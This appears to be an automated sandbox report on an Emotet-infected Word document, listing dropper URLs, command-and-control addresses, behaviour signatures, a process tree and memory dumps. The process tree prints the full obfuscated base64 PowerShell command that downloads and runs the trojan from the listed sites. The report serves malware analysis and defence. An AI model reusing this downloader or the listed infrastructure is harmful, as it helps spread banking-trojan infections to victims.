Overview

overview

10

Static

static

8

emotet_e1_...oc.doc

windows7_x64

10

emotet_e1_...oc.doc

windows10_x64

1

Analysis

  • max time kernel
    56s
  • max time network
    140s
  • platform
    windows7_x64
  • resource
    win7
  • submitted
    18/08/2020, 23:32

Sharing

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General

  • Target
    emotet_e1_b0d594dbc4a60fcc97adebefdff05022ee691b07bcab543e700f3a77dc6b09ac_2020-08-18__233017._doc.doc
  • Size 173KB
  • Sample200818-v3b2tlqqms
  • SHA256 b0d594dbc4a60fcc97adebefdff05022ee691b07bcab543e700f3a77dc6b09ac
  • MD5 SHA1 SHA512
Score
10/10
trojanbankeremotet

Malware Config

Extracted

Language

  • ps1

Source
URLs
  • exe.dropper

    http://zmgmedia.com/cgi-bin/wd/
  • exe.dropper

    http://moinbariatrics.com/wp-admin/9s/
  • exe.dropper

    http://srivenkateswarainfratech.com/temp/jUl/
  • exe.dropper

    http://panaglobalschool.com/wp-content/j/
  • exe.dropper

    http://logoonthego.com/cgi-bin/6/
  • exe.dropper

    http://pakgreenenterprise.com/wp-includes/6Sw/
  • exe.dropper

    https://sac-serv.com/wp-content/xo9/

Extracted

Family

  • emotet

C2

  • 82.163.245.38:80

  • 209.126.6.222:8080

  • 5.153.250.14:8080

  • 186.70.127.199:8090

  • 190.128.173.10:80

  • 190.195.129.227:8090

  • 91.219.169.180:80

  • 45.173.88.33:80

  • 185.33.0.233:80

  • 188.2.217.94:80

  • 207.144.103.227:80

  • 45.161.242.102:80

  • 219.92.13.25:80

  • 190.163.31.26:80

  • 68.183.170.114:8080

  • 191.99.160.58:80

  • 73.213.208.163:80

  • 94.176.234.118:443

  • 104.131.41.185:8080

  • 45.33.77.42:8080

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 2 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_b0d594dbc4a60fcc97adebefdff05022ee691b07bcab543e700f3a77dc6b09ac_2020-08-18__233017._doc.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:1324
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABYAHUAMQAwAHQANABxAD0AKAAnAFAAcwAnACsAJwAxAGUAdwBtACcAKwAnAGEAJwApADsALgAoACcAbgBlACcAKwAnAHcALQAnACsAJwBpAHQAZQBtACcAKQAgACQAZQBuAFYAOgB0AEUAbQBQAFwAbwBmAGYAaQBjAEUAMgAwADEAOQAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABJAHIAZQBjAFQAbwByAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMAYABFAGMAVQByAGkAYABUAGAAWQBgAFAAcgBvAFQATwBjAG8AbAAiACAAPQAgACgAJwB0ACcAKwAnAGwAcwAnACsAJwAxADIALAAgAHQAbABzADEAMQAsACcAKwAnACAAdABsAHMAJwApADsAJABSAGoANAAwAG4AbgB2ACAAPQAgACgAJwBRAGkAJwArACcAbwBvAHAAZwA1AG0AJwApADsAJABVAG8AZwBoAHYAeQBiAD0AKAAnAFoAdQBhACcAKwAnAGgAdABfAG0AJwApADsAJABEAGQAegBmADUAegA0AD0AJABlAG4AdgA6AHQAZQBtAHAAKwAoACgAJwBrACcAKwAnAGEASQBPACcAKwAnAGYAZgAnACsAJwBpAGMAZQAyADAAMQA5AGsAYQBJACcAKQAuACIAUgBgAEUAUABsAGAAQQBjAEUAIgAoACgAWwBDAGgAYQBSAF0AMQAwADcAKwBbAEMAaABhAFIAXQA5ADcAKwBbAEMAaABhAFIAXQA3ADMAKQAsACcAXAAnACkAKQArACQAUgBqADQAMABuAG4AdgArACgAJwAuAGUAJwArACcAeABlACcAKQA7ACQARwB1AGwAXwB5AGEAbgA9ACgAJwBEAG0AZgBfACcAKwAnAGgAJwArACcAZwAyACcAKQA7ACQAUQBlADMAcwByAGQAbQA9AC4AKAAnAG4AZQB3AC0AbwBiACcAKwAnAGoAZQBjACcAKwAnAHQAJwApACAAbgBlAHQALgB3AEUAYgBjAEwAaQBFAG4AdAA7ACQAQQBmAG8AZABwAGEAdQA9ACgAJwBoAHQAdABwADoALwAvAHoAbQBnAG0AZQAnACsAJwBkAGkAYQAuAGMAbwBtAC8AJwArACcAYwBnAGkALQBiAGkAbgAvAHcAZAAnACsAJwAvACoAaAAnACsAJwB0AHQAcAA6AC8ALwBtAG8AJwArACcAaQBuAGIAYQByAGkAYQB0AHIAJwArACcAaQBjAHMALgBjAG8AbQAvAHcAJwArACcAcAAtACcAKwAnAGEAJwArACcAZAAnACsAJwBtACcAKwAnAGkAbgAvADkAcwAvACoAaAAnACsAJwB0AHQAcAA6ACcAKwAnAC8ALwBzAHIAaQB2ACcAKwAnAGUAJwArACcAbgBrAGEAJwArACcAdABlAHMAdwBhAHIAYQBpAG4AZgByAGEAdABlAGMAaAAuAGMAbwBtACcAKwAnAC8AdABlAG0AcAAvAGoAVQBsAC8AJwArACcAKgBoAHQAdABwADoALwAvACcAKwAnAHAAYQBuACcAKwAnAGEAJwArACcAZwAnACsAJwBsAG8AYgBhAGwAcwBjACcAKwAnAGgAbwBvACcAKwAnAGwALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBqAC8AKgBoAHQAdAAnACsAJwBwADoALwAnACsAJwAvAGwAbwBnAG8AbwAnACsAJwBuAHQAaABlAGcAbwAuACcAKwAnAGMAbwBtAC8AYwBnAGkAJwArACcALQBiAGkAbgAvADYALwAqAGgAdAB0AHAAJwArACcAOgAnACsAJwAvACcAKwAnAC8AcABhAGsAZwByAGUAJwArACcAZQBuAGUAbgB0AGUAJwArACcAcgAnACsAJwBwAHIAJwArACcAaQBzACcAKwAnAGUALgBjAG8AbQAvACcAKwAnAHcAcAAtAGkAJwArACcAbgBjACcAKwAnAGwAJwArACcAdQBkACcAKwAnAGUAJwArACcAcwAvADYAUwB3AC8AJwArACcAKgBoAHQAdABwACcAKwAnAHMAOgAvAC8AcwBhACcAKwAnAGMALQBzAGUAJwArACcAcgB2ACcAKwAnAC4AYwBvAG0AJwArACcALwAnACsAJwB3AHAALQBjAG8AbgAnACsAJwB0ACcAKwAnAGUAbgB0AC8AeABvADkALwAnACkALgAiAFMAYABwAEwASQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQASwB3ADIAbwBrAGkAYgA9ACgAJwBSAHYAdwAzAGEAcgAnACsAJwBlACcAKQA7AGYAbwByAGUAYQBjAGgAKAAkAEsAZQB3AHIAdQA5AHIAIABpAG4AIAAkAEEAZgBvAGQAcABhAHUAKQB7AHQAcgB5AHsAJABRAGUAMwBzAHIAZABtAC4AIgBkAGAAbwB3AG4AbABgAE8AYABBAEQAZgBJAEwARQAiACgAJABLAGUAdwByAHUAOQByACwAIAAkAEQAZAB6AGYANQB6ADQAKQA7ACQAQgAyAGcAeABzAG4AegA9ACgAJwBCADkAJwArACcAZABqACcAKwAnAHQAYgBtACcAKQA7AEkAZgAgACgAKAAmACgAJwBHACcAKwAnAGUAdAAnACsAJwAtAEkAdABlAG0AJwApACAAJABEAGQAegBmADUAegA0ACkALgAiAEwARQBgAE4ARwB0AEgAIgAgAC0AZwBlACAAMwA1ADkANwA0ACkAIAB7AC4AKAAnAEkAbgB2ACcAKwAnAG8AawBlAC0ASQB0AGUAJwArACcAbQAnACkAKAAkAEQAZAB6AGYANQB6ADQAKQA7ACQASAA1ADgAagA5AG4AYQA9ACgAJwBNAGsAZABvACcAKwAnAHcAJwArACcAaQB4ACcAKQA7AGIAcgBlAGEAawA7ACQAWAA5AHEAYQBkAGkAYgA9ACgAJwBaAG4AJwArACcAbQBmADMAJwArACcAbAB5ACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAVgA5ADIAeQBoAF8AZQA9ACgAJwBFACcAKwAnAGQAJwArACcAYgBjAHcAbgBxACcAKQA=
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1684
    • C:\Users\Admin\AppData\Local\Temp\Office2019\Qioopg5m.exe
      "C:\Users\Admin\AppData\Local\Temp\Office2019\Qioopg5m.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1756
      • C:\Windows\SysWOW64\bootcfg\NlsLexicons002a.exe
        "C:\Windows\SysWOW64\bootcfg\NlsLexicons002a.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        PID:1660

Network

        MITRE ATT&CK Matrix

        Replay Monitor

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        Downloads

        memory/1324-3-0x0000000006D90000-0x0000000006F90000-memory.dmp
        Download

        memory/1324-4-0x0000000006D90000-0x0000000006F90000-memory.dmp
        Download

        memory/1324-6-0x000000000AE30000-0x000000000AE34000-memory.dmp
        Download

        memory/1324-7-0x000000000BF90000-0x000000000BF94000-memory.dmp
        Download

        memory/1324-11-0x0000000002180000-0x0000000002181000-memory.dmp
        Download

        memory/1324-2-0x0000000008920000-0x0000000008924000-memory.dmp
        Download

        memory/1660-25-0x0000000000260000-0x000000000026C000-memory.dmp
        Download

        memory/1684-16-0x0000000002370000-0x0000000002371000-memory.dmp
        Download

        memory/1684-18-0x000000001B820000-0x000000001B821000-memory.dmp
        Download

        memory/1684-17-0x000000001B790000-0x000000001B791000-memory.dmp
        Download

        memory/1684-15-0x0000000002480000-0x0000000002481000-memory.dmp
        Download

        memory/1684-14-0x000000001ABB0000-0x000000001ABB1000-memory.dmp
        Download

        memory/1684-13-0x00000000025B0000-0x00000000025B1000-memory.dmp
        Download

        memory/1684-10-0x000007FEF14F0000-0x000007FEF1EDC000-memory.dmp
        Download

        memory/1756-21-0x0000000000270000-0x000000000027C000-memory.dmp
        Download

        memory/1936-26-0x000007FEF2320000-0x000007FEF259A000-memory.dmp
        Download